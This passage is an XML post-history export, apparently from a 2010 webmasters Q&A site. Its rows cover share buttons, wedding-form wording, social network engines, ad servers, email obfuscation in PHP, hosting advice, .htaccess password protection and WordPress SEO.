  <row Id="11830" PostHistoryTypeId="1" PostId="5927" RevisionGUID="7aca1f64-8a2e-4611-8978-61820009d323" CreationDate="2010-11-25T19:34:03.557" UserId="1429" Text="Share on: FB, Tweet, Digg, Linkedin, Delicious, My mother, ... it's just on fashion, or some real value?" />
  <row Id="11831" PostHistoryTypeId="3" PostId="5927" RevisionGUID="7aca1f64-8a2e-4611-8978-61820009d323" CreationDate="2010-11-25T19:34:03.557" UserId="1429" Text="&lt;facebook&gt;&lt;twitter&gt;&lt;social-networks&gt;" />
  <row Id="11835" PostHistoryTypeId="2" PostId="5929" RevisionGUID="9e029cd5-c27f-4edb-9c68-ec42b4c1070d" CreationDate="2010-11-25T19:45:04.243" UserId="1253" Text="I don't think it's a case of being fashionable or just doing it because everyone else is. These buttons are an easy way to get word out about your website quickly and for free. If anything, not putting them on your website would be something to question (although there are legitimate reasons not to use them, too)." />
  <row Id="11837" PostHistoryTypeId="5" PostId="5927" RevisionGUID="bebaa18c-028e-4347-837e-48f684a2c4b7" CreationDate="2010-11-25T20:52:28.070" UserId="138" Comment="deleted 155 characters in body" Text="Nowadays your site is not in fashion if you don't show at least a couple of share buttons like these:&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;**Is this just fashion, or do people actually get something good out of it?** &#xD;&#xA;&#xD;&#xA;When I say *&quot;something good&quot;* **I mostly mean something that you could measure, and not just the feeling that was good**.&#xD;&#xA;&#xD;&#xA;Maybe I can better explain with an example: **did you notice (in some way) that many people clicked on those links to share your page/s on those web 2.0 social sites?** And in such a case on which social networks did you see they mostly share your pages?&#xD;&#xA;&#xD;&#xA;BTW I'm not talking about Google PR, i know [all web 2.0 social sites use nofollow everywhere and even hidden links, so they are useless by themselves for PR.][2]&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/tzX8b.jpg&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/2260/seo-links-from-facebook-delicious-digg-are-useful-to-increase-google-pr" />
  <row Id="11839" PostHistoryTypeId="2" PostId="5933" RevisionGUID="d351c030-91c3-4d33-bd5c-6ed60bf38550" CreationDate="2010-11-25T03:46:25.167" UserDisplayName="slomojo" Text="Assuming that you can get consultation from the same people who are complaining, I think you'd be better off polling them for comment.&#xD;&#xA;&#xD;&#xA;If I was going to make an arbitrary choice on how to do this, I suppose I'd add a same-sex checkbox which changd  those labels to text boxes, and allow the applicants to decide their own labels. (instead of making any sort of &quot;one size fits all&quot; decision and filling in something 'alternative')" />
  <row Id="11840" PostHistoryTypeId="2" PostId="5934" RevisionGUID="448dab21-07da-451a-8229-47c38681f4ac" CreationDate="2010-11-25T03:57:18.840" UserId="241" Text="There's no real standard or perfect way of doing it. Some options:&#xD;&#xA;&#xD;&#xA;* First spouse&#xD;&#xA;* Second spouse&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;* Party A&#xD;&#xA;* Party B&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;* Partner A&#xD;&#xA;* Partner B&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;* Bride/Groom&#xD;&#xA;* Bride/Groom" />
  <row Id="11841" PostHistoryTypeId="2" PostId="5935" RevisionGUID="7858776a-3237-4fde-be6e-66f298ce9b00" CreationDate="2010-11-25T04:05:48.873" UserDisplayName="Narveson" Text="Put the first and last name boxes on the same line.  I would tell you to do this even if you were keeping the bride and groom terminology.  &#xD;&#xA;    &#xD;&#xA;          Name of spouse: (first) [      ] (last) [     ]&#xD;&#xA;    Name of other spouse: (first) [      ] (last) [     ]&#xD;&#xA;&#xD;&#xA;Even better, just use a single text box for each party's name.  Who says everybody has a first name and a last name anyway?  Adam and Eve didn't." />
  <row Id="11842" PostHistoryTypeId="2" PostId="5936" RevisionGUID="f51ce7aa-0204-44d1-95db-8ecfbd32d638" CreationDate="2010-11-25T05:19:46.037" UserId="1417" Text="Have Bride/Groom in a drop down in front of the 2 input fields for first &amp; last name. Have the form default to the hetero configuration (i.e. one line has bride preselected and one line has groom preselected) so the majority of users (no slight on homosexual couples, it's just statistics) don't have to change the form&#xD;&#xA;&#xD;&#xA;EDIT: Similiar to @Narveson's answer, but with bride/groom drop downs in front of the name inputs instead of &quot;name of spouse&quot;&#xD;&#xA;&#xD;&#xA;EDIT EDIT: I guess its not even relevant whether a person is a bride or a groom for the purpose of the form, I don't imagine you do anything meaningful with the gender information?" />
  <row Id="11843" PostHistoryTypeId="2" PostId="5932" RevisionGUID="b9a8f15c-5440-41e9-98c7-b7ad67e4c828" CreationDate="2010-11-25T03:35:14.930" UserId="3033" Text="We have an issue in our company right now where gay people are complaining that our forms are not &quot;gay friendly&quot; we have a wedding registry page where it says groom and bride but they want a different way of presenting it so that it would be acceptable by that demographic.  Any good suggestions on how we handle this?  (Hope no one gets offended, Its a legitimate question and were actually dealing with this right now)&#xD;&#xA;&#xD;&#xA;Here is a screenshot of the form&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/YLaIL.jpg" />
  <row Id="11844" PostHistoryTypeId="1" PostId="5932" RevisionGUID="b9a8f15c-5440-41e9-98c7-b7ad67e4c828" CreationDate="2010-11-25T03:35:14.930" UserId="3033" Text="Modernizing traditional Marriage Application Web Form" />
  <row Id="11845" PostHistoryTypeId="3" PostId="5932" RevisionGUID="b9a8f15c-5440-41e9-98c7-b7ad67e4c828" CreationDate="2010-11-25T03:35:14.930" UserId="3033" Text="&lt;asp.net&gt;&lt;web-development&gt;&lt;websites&gt;" />
  <row Id="11846" PostHistoryTypeId="17" PostId="5932" RevisionGUID="4041186b-e3a4-43f4-92b4-7d1fc54c3eed" CreationDate="2010-11-25T21:28:33.610" UserId="-1" Comment="from http://stackoverflow.com/questions/4273544/modernizing-traditional-marriage-application-web-form" Text="" />
  <row Id="11847" PostHistoryTypeId="2" PostId="5938" RevisionGUID="0246bdba-f211-4e5b-bb6d-df8307264b83" CreationDate="2010-11-25T19:47:45.677" UserDisplayName="Patrick Beardmore" Text="Try [Elgg][1], or take a look at [this compilation][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.elgg.org/&#xD;&#xA;  [2]: http://vivalogo.com/vl-resources/open-source-social-networking-software.htm" />
  <row Id="11848" PostHistoryTypeId="2" PostId="5939" RevisionGUID="c685dede-d9b0-46ec-8bd6-efe89378103f" CreationDate="2010-11-25T19:48:03.323" UserDisplayName="m4tx" Text="Write your own social network script... :P&lt;br /&gt;&#xD;&#xA;You can find e.g. [here][1], or use [this][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://best-php-scripts.com/social_networking.htm&#xD;&#xA;  [2]: http://www.socialengine.net/" />
  <row Id="11849" PostHistoryTypeId="2" PostId="5937" RevisionGUID="fcad582c-7ac2-4070-b900-b9e66aab970f" CreationDate="2010-11-25T19:41:04.957" UserDisplayName="yozhik" Text="I want to create social network like facebook, vkontakte.. What good, reliable and free engines for social networks are present today? I am interesting in technical side of this issue. Thanx!" />
  <row Id="11850" PostHistoryTypeId="1" PostId="5937" RevisionGUID="fcad582c-7ac2-4070-b900-b9e66aab970f" CreationDate="2010-11-25T19:41:04.957" UserDisplayName="yozhik" Text="Engine for social network" />
  <row Id="11851" PostHistoryTypeId="3" PostId="5937" RevisionGUID="fcad582c-7ac2-4070-b900-b9e66aab970f" CreationDate="2010-11-25T19:41:04.957" UserDisplayName="yozhik" Text="&lt;php&gt;&lt;social-networking&gt;&lt;engines&gt;" />
  <row Id="11852" PostHistoryTypeId="17" PostId="5937" RevisionGUID="115180aa-365f-4213-9617-8ca8a9715662" CreationDate="2010-11-25T21:32:12.157" UserId="-1" Comment="from http://stackoverflow.com/questions/4280386/engine-for-social-network" Text="" />
  <row Id="11853" PostHistoryTypeId="2" PostId="5940" RevisionGUID="bbd482e4-7df0-41f4-9d87-6406b6476e20" CreationDate="2010-11-25T21:40:48.797" UserId="3477" Text="I'm using codeigniter + jquery on a linux server and i want to integrate in my website a photo/image editor (after that an user have uploaded an image, he must be able to edit it), i need just some simple tools, zoom in and zoom out, brightness and contrast. A good solution may be a java, flash, silverlight applet or something like that.&#xD;&#xA;&#xD;&#xA;Any idea?&#xD;&#xA;&#xD;&#xA;Tnx Claudio" />
  <row Id="11854" PostHistoryTypeId="1" PostId="5940" RevisionGUID="bbd482e4-7df0-41f4-9d87-6406b6476e20" CreationDate="2010-11-25T21:40:48.797" UserId="3477" Text="Image editor Applet" />
  <row Id="11855" PostHistoryTypeId="3" PostId="5940" RevisionGUID="bbd482e4-7df0-41f4-9d87-6406b6476e20" CreationDate="2010-11-25T21:40:48.797" UserId="3477" Text="&lt;html&gt;&lt;images&gt;&lt;jquery&gt;&lt;flash&gt;&lt;silverlight&gt;" />
  <row Id="11856" PostHistoryTypeId="2" PostId="5941" RevisionGUID="e9162dd0-ffa4-45aa-a8b9-840426f6aa47" CreationDate="2010-11-25T21:57:21.753" UserDisplayName="Jammyd" Text="I'm looking for recommendations for a location based ad server for my website, like Adsense, but geo-targeted.&#xD;&#xA;&#xD;&#xA;Ideally, I'd like it to be self serve, so I can choose what ads are displayed where, with advertisers coming directly to me rather than the server...&#xD;&#xA;&#xD;&#xA;Any recommendations?&#xD;&#xA;&#xD;&#xA;Ta" />
  <row Id="11857" PostHistoryTypeId="1" PostId="5941" RevisionGUID="e9162dd0-ffa4-45aa-a8b9-840426f6aa47" CreationDate="2010-11-25T21:57:21.753" UserDisplayName="Jammyd" Text="Location based self serve ad servers?" />
  <row Id="11858" PostHistoryTypeId="3" PostId="5941" RevisionGUID="e9162dd0-ffa4-45aa-a8b9-840426f6aa47" CreationDate="2010-11-25T21:57:21.753" UserDisplayName="Jammyd" Text="&lt;advertising&gt;" />
  <row Id="11862" PostHistoryTypeId="2" PostId="5942" RevisionGUID="1c662aef-faef-4747-aef1-49fb77232bb1" CreationDate="2010-11-25T23:05:19.097" UserId="3265" Text="**Background to problem**&#xD;&#xA;&#xD;&#xA;I have a site built on Drupal that uses the Facebook social plugin module. I previously was using the module without getting and using a Facebook application ID with the module;  it was working just fine like this. &#xD;&#xA;&#xD;&#xA;I later decided to get a Facebook application ID from http://developers.facebook.com/setup/ and saved the ID in the module configuration form.&#xD;&#xA;&#xD;&#xA;Since I did this, I tried removing the ID from the module configuration form and noticed that the Facebook comment box would not load on my website (even though it worked before I got the ID). After putting the application ID back into the module configuration form, the comment box works again.&#xD;&#xA;&#xD;&#xA;However, I noticed another problem—*all the Facebook comments that were entered onto my site before I used the application ID have disappeared*.&#xD;&#xA;&#xD;&#xA;I am not certain the disappearance of the comments relate to the use of the application ID but I suspect that the old (pre-application ID) comments are not being associated with the new application ID (which I am now forced to use on this website for the comments plugin to work).&#xD;&#xA;&#xD;&#xA;**Questions:**&#xD;&#xA;&#xD;&#xA; 1. Can somebody please confirm for me if this is the reason for the disappearance of the old comments, or otherwise what the reason for their disappearance actually is?&#xD;&#xA;&#xD;&#xA; 2. Can somebody tell me if there is a way to get the old comments (pre-application Id) back onto my website or, assuming my deduction is correct, associate the old comments with the new application Id so they show on my website again?&#xD;&#xA;&#xD;&#xA;Many thanks." />
  <row Id="11863" PostHistoryTypeId="1" PostId="5942" RevisionGUID="1c662aef-faef-4747-aef1-49fb77232bb1" CreationDate="2010-11-25T23:05:19.097" UserId="3265" Text="Facebook social plugin comments disappear from my Drupal site after using Facebook application ID" />
  <row Id="11864" PostHistoryTypeId="3" PostId="5942" RevisionGUID="1c662aef-faef-4747-aef1-49fb77232bb1" CreationDate="2010-11-25T23:05:19.097" UserId="3265" Text="&lt;drupal&gt;&lt;facebook&gt;&lt;plugin&gt;&lt;comments&gt;" />
  <row Id="11865" PostHistoryTypeId="10" PostId="5925" RevisionGUID="b439f601-11dd-423b-9860-c73ade0b0371" CreationDate="2010-11-26T00:51:39.293" UserId="138" CloseReasonId="7" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="11866" PostHistoryTypeId="2" PostId="5943" RevisionGUID="b7b9fa0a-d579-41c6-9844-b3b251fca835" CreationDate="2010-11-26T03:00:33.540" UserId="2821" Text="I want a command-line website screenshot tool so I can check the status/appearance of various websites. If possible, I'd want a tool that works on GNU/Linux and can be automated." />
  <row Id="11867" PostHistoryTypeId="1" PostId="5943" RevisionGUID="b7b9fa0a-d579-41c6-9844-b3b251fca835" CreationDate="2010-11-26T03:00:33.540" UserId="2821" Text="Command-line website screenshot tool" />
  <row Id="11868" PostHistoryTypeId="3" PostId="5943" RevisionGUID="b7b9fa0a-d579-41c6-9844-b3b251fca835" CreationDate="2010-11-26T03:00:33.540" UserId="2821" Text="&lt;websites&gt;&lt;monitoring&gt;" />
  <row Id="11869" PostHistoryTypeId="2" PostId="5944" RevisionGUID="bfe66871-2111-47f1-affd-e31968e64ecd" CreationDate="2010-11-26T03:07:00.297" UserId="576" Text="Use [Zoho Creator][1] to [set up a contact form][2]. The feedback you receive will be stored on a database that you can access online &amp; it will also be emailed to you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.zoho.com/creator/html-form-builder.html&#xD;&#xA;  [2]: http://mvark.blogspot.com/2009/05/how-to-create-contactfeedback-form.html" />
  <row Id="11870" PostHistoryTypeId="2" PostId="5945" RevisionGUID="b665147c-e7ff-4b70-8eba-22ed30bf943c" CreationDate="2010-11-26T03:31:51.343" UserId="3482" Text="I use a [PHP function][1] to generate some javascript to output the the script at runtime. Note that you don't *need* PHP to generate the JS at runtime, you can generate the JS once locally and then include the static JS in your page.&#xD;&#xA;&#xD;&#xA;You can also use the linked function with this snippet below to automatically obfuscate email addresses in given a given HTML (where $processedContent is the HTML):&#xD;&#xA;&#xD;&#xA;     $emailMatches = array();&#xD;&#xA;  $matchCount = preg_match_all('/(?:[a-zA-Z0-9_\.\-])+\@(?:(?:[a-zA-Z0-9\-])+\.)+(?:[a-zA-Z0-9]{2,4})+/', $processedContent, $emailMatches);&#xD;&#xA;&#xD;&#xA;  if($matchCount &gt; 0) {&#xD;&#xA;   $emailMatches = $emailMatches[0];&#xD;&#xA;   &#xD;&#xA;   foreach($emailMatches as $email) {&#xD;&#xA;    $replacement = createJSMailLink($email);&#xD;&#xA;    &#xD;&#xA;    $processedContent = str_replace($email, createJSMailLink($email), $processedContent);&#xD;&#xA;   }&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://snipplr.com/view/10947/secure-email-link/" />
  <row Id="11871" PostHistoryTypeId="2" PostId="5946" RevisionGUID="0c9aacd2-0514-41a9-bdea-815836c39c5c" CreationDate="2010-11-26T05:07:33.860" UserId="3199" Text="Always buy your domain name. The cheapest ones start from 2 dollars up to 15... it's worth it. I once used free co.cc domain for my project and when it got bigger and troubled so much moving the domain. Usually free domains are used by spammers so people/websites don't trust them either. For an example you can't post any domain ending with co.cc on Facebook. Even though my site is legit, I still can't share it on Facebook." />
  <row Id="11872" PostHistoryTypeId="5" PostId="2368" RevisionGUID="ac633319-ccb0-44e8-8236-128dadd1bafb" CreationDate="2010-11-26T07:38:27.103" UserId="1429" Comment="added 65 characters in body; added 51 characters in body" Text="It's very difficult to find a good web hosting **service**.&#xD;&#xA;And, trust me, it's a huge pain in the neck using a useless Hosting Service with poor technical assistance service.&#xD;&#xA;Especially when you write your own applications to be run on the server.&#xD;&#xA;&#xD;&#xA;As said by John Conde, it's true that most Web Hosters are simply reselling the same type of machines (same systems/servers, with the same OS and the same control panel), most are even resellers of resellers of resellers...&#xD;&#xA;For this exact reason, the real difference in now days is not made so much by the machines (unless they are overloaded obviously).&#xD;&#xA;&#xD;&#xA;**The real difference is made by the SERVICE**: how good the Hoster's tech departments are in **managing those servers**, how **fast are in fixing** issues, how nice and **proactive** they try to be when you tell them something does not work.&#xD;&#xA;&#xD;&#xA;An example for all: you might have a PHP script that makes the server show a 501 Internal Server Error. You are a good coder and you find out on your own what's the exact line of code in that script that makes the server show a 501.&#xD;&#xA;You then copy that single line in another script to do some test on the same server and you eventually see that this new script is still making server show 501, so it's definitely that line of code.&#xD;&#xA;&#xD;&#xA;At this point what do you do? You start changing your app, but that's not a good idea cause it might take you a lot of time to workaround such an issue and what happens if your workaround makes your app work on that server, but not on the server of another hoster?&#xD;&#xA;Do you make a different patch for any type of hoster???&#xD;&#xA;&#xD;&#xA;No, you pay for the hosting **service**, you pay for technical assistance, therefor you open a ticket on your hoster an you tell them: &quot;I have prepared a PHP script made of **just one single line of code (or just really few lines, to show the issue)** that shows the server go 501 Internal Server Error, could you plz help me?&quot;&#xD;&#xA;&#xD;&#xA;Many web hosters (like these: [www.inmotionhosting.com][1]) will simply reply you: &quot;Sorry, but we don't look into code&quot; (even if it's just one line of code), those are the types of web hosters to absolutely avoid.&#xD;&#xA;Some other hosters like these ([www.qualityhostonline.com][2]) will kindly reply you: &quot;We look into it&quot;, and later they discover it's a too strict rule on their Apache mod_security that makes the server run a 501 Internal Server Error. They fix it and you solved all your problems.&#xD;&#xA;&#xD;&#xA;The examples provided above (both coming from my personal experience) might help you also in seeing how difficult it is to discriminate among hosters without being deceived by their marketing stuff. They both have nice webistes, full of awards and all those &quot;What they say about us...&quot;.&#xD;&#xA;&#xD;&#xA;Unfortunately you can discover this only by experience using their services or by following peoples suggestions who have used those hosting service before.&#xD;&#xA;&#xD;&#xA;Anyway some way to try a web haoster are:&#xD;&#xA;&#xD;&#xA;1. **send them pre-sales question that should be ALSO TECHNICAL**, maybe also about things that you don't need, but just to see if the guy knows what you are talking about.&#xD;&#xA;You could ask for instance: &quot;Can I make .htm file on you server to be processed by the PHP processors&quot;. If they reply you something like: &quot;No, you can't serve HTML files with PHP processor&quot;, or even worst they find a ridiculous excuse saying that the server would get overloaded, It definitely means they are useless tech guys, this is the typical hoster that at the 1st problem it happens you will understand what a big mistake you did in buying their service.&#xD;&#xA;&#xD;&#xA;2. By doing (1) you also **test how fast they reply** (and if they reply, some do not reply at all even on a pre-sales question, I don't think I need to tell you that these hosters must be avoided completely).&#xD;&#xA;&#xD;&#xA;3. **ping their main website**, many turn down ping on server because they say it might create a security hole. In now says it's crap talking, it creates security hole to servers managed by tech guys who do not know how to prevent those types of attack (generally NOT expert people), do you want those NOT expert people to manage your server?&#xD;&#xA;&#xD;&#xA;4. By doing (3) you can also **see where their servers are**, if the ping takes too long compared to other local websites, it means their server is somewhere on the moon not in US. (I know they could use different servers, one for their website in US and one in India for your website, but they will have different ping times and you can definitely complain about this when your website is up. They will have then to give you a good explanation or totally refund you).&#xD;&#xA;&#xD;&#xA;5. **Don't trust who is selling Unlimited** of Whatever. A basic Physics law says: &quot;Nothing can be created or destroyed, everything can be simply changed&quot;. Now selling Unlimited means creating something from the vacuum that is not possible in Physics. So they are already cheating on you even before saying &quot;Hello&quot; to you. True that if they give you 25 GB of space for your average size website, you will feel it's unlimited space, but then why don't they just write down that they give you 25GB and not unlimited instead of cheating you?! It's a way of thinking, if their managers who created their website think in this way, it surely means it's company driven by marketing guys, the typical guy that does not know anything about tech, but he thinks that is pretty simple, not a problem. Which is also true from their point of view, because if their service goes down they won't have big problems in loosing you as a customer, you provided them what, 25 bucks per year?! But you won't feel the same for your customers when they will scream and shout at you seeing their websites down.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.inmotionhosting.com&#xD;&#xA;  [2]: http://www.qualityhostonline.com" />
  <row Id="11873" PostHistoryTypeId="2" PostId="5947" RevisionGUID="d990b000-b9b4-43e5-8c42-99cc1678dcf4" CreationDate="2010-11-26T08:28:40.340" UserId="1429" Text="My advice is that it's a piece of junk!" />
  <row Id="11874" PostHistoryTypeId="2" PostId="5948" RevisionGUID="5f813a1c-fbbf-4c06-b6e9-dee412c71d4f" CreationDate="2010-11-26T09:38:55.373" UserId="3486" Text="Pending balance rule seems to be only for ebay sellers and to get away from it is to make buyers drop a feedback about the seller. How about for subscription type only? I cannot let users view my posts if their payment has not cleared yet. Technically, the IPN should have payment_status var sent after the buyer has paid for subscription but in my case, I only get it on the first IPN message which has a &quot;Pending&quot; value and nothing on the second. This causes my handler to throw out an &quot;Unknown payment status&quot; error." />
  <row Id="11875" PostHistoryTypeId="1" PostId="5948" RevisionGUID="5f813a1c-fbbf-4c06-b6e9-dee412c71d4f" CreationDate="2010-11-26T09:38:55.373" UserId="3486" Text="How to resolve paypal pending balance for subsription type?" />
  <row Id="11876" PostHistoryTypeId="3" PostId="5948" RevisionGUID="5f813a1c-fbbf-4c06-b6e9-dee412c71d4f" CreationDate="2010-11-26T09:38:55.373" UserId="3486" Text="&lt;paypal&gt;" />
  <row Id="11877" PostHistoryTypeId="2" PostId="5949" RevisionGUID="2bfea0fe-41a4-43bd-bb07-15cc8975a16f" CreationDate="2010-11-26T09:51:33.370" UserId="3307" Text="Take a look at this page: http://tips.webdesign10.com/how-to-take-a-screenshot-on-ubuntu-linux&#xD;&#xA;&#xD;&#xA;Gives you a few options when you scroll down a bit" />
  <row Id="11878" PostHistoryTypeId="2" PostId="5950" RevisionGUID="d24f06e5-4e5f-4652-b192-4af246f71e22" CreationDate="2010-11-26T09:52:23.980" UserDisplayName="dave2010" Text="We're looking to roll out a kind of &quot;hire a freelancer&quot; style site but on a much smaller scale than existing sites &#xD;&#xA;&#xD;&#xA;Is anyone aware of any existing software on the market? haven't had much success googling &quot;freelancer CMS&quot; as you end up with freelancers to hire to build a cms (!)&#xD;&#xA;&#xD;&#xA;I'm somewhat tempted to roll our own, but time/budget might be an issue so looking to explore other options.&#xD;&#xA;&#xD;&#xA;Thanks for any input !&#xD;&#xA;" />
  <row Id="11879" PostHistoryTypeId="1" PostId="5950" RevisionGUID="d24f06e5-4e5f-4652-b192-4af246f71e22" CreationDate="2010-11-26T09:52:23.980" UserDisplayName="dave2010" Text="&quot;Hire a freelancer&quot;-esque site - existing solution or roll our own?" />
  <row Id="11880" PostHistoryTypeId="3" PostId="5950" RevisionGUID="d24f06e5-4e5f-4652-b192-4af246f71e22" CreationDate="2010-11-26T09:52:23.980" UserDisplayName="dave2010" Text="&lt;cms&gt;&lt;custom-software&gt;&lt;freelancer&gt;" />
  <row Id="11881" PostHistoryTypeId="4" PostId="5948" RevisionGUID="cbbefc26-684b-4718-b0ed-0b860ffd1857" CreationDate="2010-11-26T09:53:51.343" UserId="3486" Comment="edited title" Text="How to resolve paypal pending balance for subscription type?" />
  <row Id="11882" PostHistoryTypeId="2" PostId="5951" RevisionGUID="52b8c35c-7139-4279-a44c-2bb924061987" CreationDate="2010-11-26T09:54:50.873" UserId="3307" Text="[Rackspace Cloud is coming to the UK soon][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rackspace.co.uk/cloud-hosting/public-cloud/register-interest/" />
  <row Id="11883" PostHistoryTypeId="2" PostId="5952" RevisionGUID="a86245ee-9c05-408d-ba51-6cbb2d44fce6" CreationDate="2010-11-26T10:37:20.667" UserId="2616" Text="You should try googling for &quot;open source job board&quot; instead." />
  <row Id="11884" PostHistoryTypeId="2" PostId="5953" RevisionGUID="001c4d89-8c35-45e3-bdef-10df77648c40" CreationDate="2010-11-26T10:55:32.223" UserId="3070" Text="How to disallow access to site except me? Thanks." />
  <row Id="11885" PostHistoryTypeId="1" PostId="5953" RevisionGUID="001c4d89-8c35-45e3-bdef-10df77648c40" CreationDate="2010-11-26T10:55:32.223" UserId="3070" Text="How to disallow access to site except me?" />
  <row Id="11886" PostHistoryTypeId="3" PostId="5953" RevisionGUID="001c4d89-8c35-45e3-bdef-10df77648c40" CreationDate="2010-11-26T10:55:32.223" UserId="3070" Text="&lt;htaccess&gt;" />
  <row Id="11887" PostHistoryTypeId="2" PostId="5954" RevisionGUID="4611a960-9a15-4d30-a4e3-635925b28ddd" CreationDate="2010-11-26T10:59:39.117" UserId="3467" Text="If you run an Apache server just make a [.htpasswd][1] file and upload it to your main directory.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.htaccesstools.com/htpasswd-generator/" />
  <row Id="11888" PostHistoryTypeId="5" PostId="5925" RevisionGUID="e5a80348-b475-46db-ac55-d27e4feaf879" CreationDate="2010-11-26T11:14:09.917" UserId="3472" Comment="added 152 characters in body" Text="I would like to know **(your subjective opinion on)**if making a search engine that indexes sites which index mega video links which contain movies that are protected by copyright law is legal. The thing is, viewing the streams is legal in the country I reside in (Switzerland) according to numerous news articles. Now uploading the streams is illegal that I know. But is indexing them also illegal? I mean all the links are also indexed on google but not selectively of course.&#xD;&#xA;&#xD;&#xA;I would very much appreciate an answer of any kind. I certainly do not want to do anything which is illegal.&#xD;&#xA;&#xD;&#xA;**I do expect a definitive, jurisdictionally correct and educated answer, one which could be expected of a lawyer.**&#xD;&#xA;&#xD;&#xA;Thanking you in advance,&#xD;&#xA;Flyingswissman" />
  <row Id="11889" PostHistoryTypeId="2" PostId="5955" RevisionGUID="482b0f5d-e0b1-4e57-8afa-5c7cfc575428" CreationDate="2010-11-26T11:47:18.840" UserId="3472" Text="(on Apache Server)&#xD;&#xA;**Steps**&#xD;&#xA;&#xD;&#xA;- Choose the directory you wish to protect  You wish to protect the whole site then chose &quot;public_html&quot;. Also chose a directory e.g. &quot;../password&quot; to store the password in.&#xD;&#xA;- Create a file **.htaccess** and **.htpasswd**&#xD;&#xA;- Edit **.htaccess** with your favourite editor to contain the following:&#xD;&#xA;&#xD;&#xA;&gt; AuthUserFile /path/to/password/.htpasswd&#xD;&#xA;&#xD;&#xA;&gt; AuthGroupFile /dev/null&#xD;&#xA;&#xD;&#xA;&gt; AuthName &quot;Authentication Query Name&quot; &#xD;&#xA;&#xD;&#xA;&gt; AuthType Basic&#xD;&#xA;&#xD;&#xA;- place **.htaccess** in to be protected folder&#xD;&#xA;- Edit **.htpasswd** to contain the username and passwords. Syntax [username]:[md5-encrypted-password] Use a [generator][1] to make the encryption e.g. &#xD;&#xA;&gt;foobar:Fkb3n2r1vsba&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- place **.htpasswd** in chosen directory and make sure you change the directories permission so only the server may access e.g. run chmod g+r,g+x,o-r,o-x password&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.htaccesstools.com/htpasswd-generator/" />
  <row Id="11890" PostHistoryTypeId="2" PostId="5956" RevisionGUID="81224527-3d41-4c3f-b27a-29b109d39b99" CreationDate="2010-11-26T11:58:35.707" UserId="3461" Text="I'd go with Hostgator.com  (it has good reputation)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11891" PostHistoryTypeId="2" PostId="5957" RevisionGUID="2f60110e-d84a-4497-8bd4-70e0ea0d20f8" CreationDate="2010-11-26T12:48:26.110" UserId="3467" Text="I'm working on SEO for my WordPress page, and I'm having second thoughts about having my tag archive indexed. I'm not using categories at all, so I've set robots to `noindex, follow` for category overviews, making tags the main taxonomy.&#xD;&#xA;&#xD;&#xA;Part of me says that having tag archives indexed is useful because those pages are full of content around one specific keywords, and they also link to more pages concerning those keywords. Also, the posts are truncated with a 'read more' link, so there's not going to be a problem with duplicate content.&#xD;&#xA;&#xD;&#xA;On the other hand, these pages might dilute the pagerank for my actual posts. What is the use of people finding my tag archive pages if they could also find actual articles? Wouldn't it be better to just follow the links in my tag archives but not have those pages indexed?&#xD;&#xA;&#xD;&#xA;Should I index them or just let google follow the links?" />
  <row Id="11892" PostHistoryTypeId="1" PostId="5957" RevisionGUID="2f60110e-d84a-4497-8bd4-70e0ea0d20f8" CreationDate="2010-11-26T12:48:26.110" UserId="3467" Text="Should I let Google index tag archives on wordpress?" />
  <row Id="11893" PostHistoryTypeId="3" PostId="5957" RevisionGUID="2f60110e-d84a-4497-8bd4-70e0ea0d20f8" CreationDate="2010-11-26T12:48:26.110" UserId="3467" Text="&lt;seo&gt;&lt;wordpress&gt;" />
  <row Id="11894" PostHistoryTypeId="2" PostId="5958" RevisionGUID="95db80b5-dd78-4586-ab09-d9f0b113b173" CreationDate="2010-11-26T13:39:22.623" UserId="3489" Text="On my web site there is a (self-coded) search functionality that searches through the web site's specific contents. However I'd like to display one banner in addition to the site's results, showing ads relevant to the entered search terms.&#xD;&#xA;&#xD;&#xA;Can I do this e.g. with Google Ads? I want the ads to be based only on the search terms from the user, not the rest of the site's content, so there has to be a possibility to pass these search terms to the ad provider and get a banner based on these search terms." />
  <row Id="11895" PostHistoryTypeId="1" PostId="5958" RevisionGUID="95db80b5-dd78-4586-ab09-d9f0b113b173" CreationDate="2010-11-26T13:39:22.623" UserId="3489" Text="How can I show ads for search on own web site" />
  <row Id="11896" PostHistoryTypeId="3" PostId="5958" RevisionGUID="95db80b5-dd78-4586-ab09-d9f0b113b173" CreationDate="2010-11-26T13:39:22.623" UserId="3489" Text="&lt;search-engines&gt;&lt;google-adsense&gt;&lt;banners&gt;&lt;google-search&gt;&lt;site-search&gt;" />
  <row Id="11897" PostHistoryTypeId="2" PostId="5959" RevisionGUID="94eb7493-93b1-4994-ab58-d7d36d6ef825" CreationDate="2010-11-26T14:08:29.833" UserId="3467" Text="Google Adsense won't let you do that, that's for sure. I don't know about many other ads clients, but I don't think I've ever heard of one that would allow this kind of setup.&#xD;&#xA;&#xD;&#xA;One thing you could do is find search engines/websites that have affiliate programs. I forgot which it was, but there used to be a Dutch startup search website that would allow you to link to custom search queries on their page and get paid for clicks. Maybe there's more search affiliates like that, so you could just generate links to their search page based on the search queries used on your site.&#xD;&#xA;&#xD;&#xA;Another option would be to register with some general affiliate brokers and set up your own database of affiliate links with related terms, so that when a user searches on a term you could query your database for that term and display affiliate links with the same terms from your database. This will take a lot of work 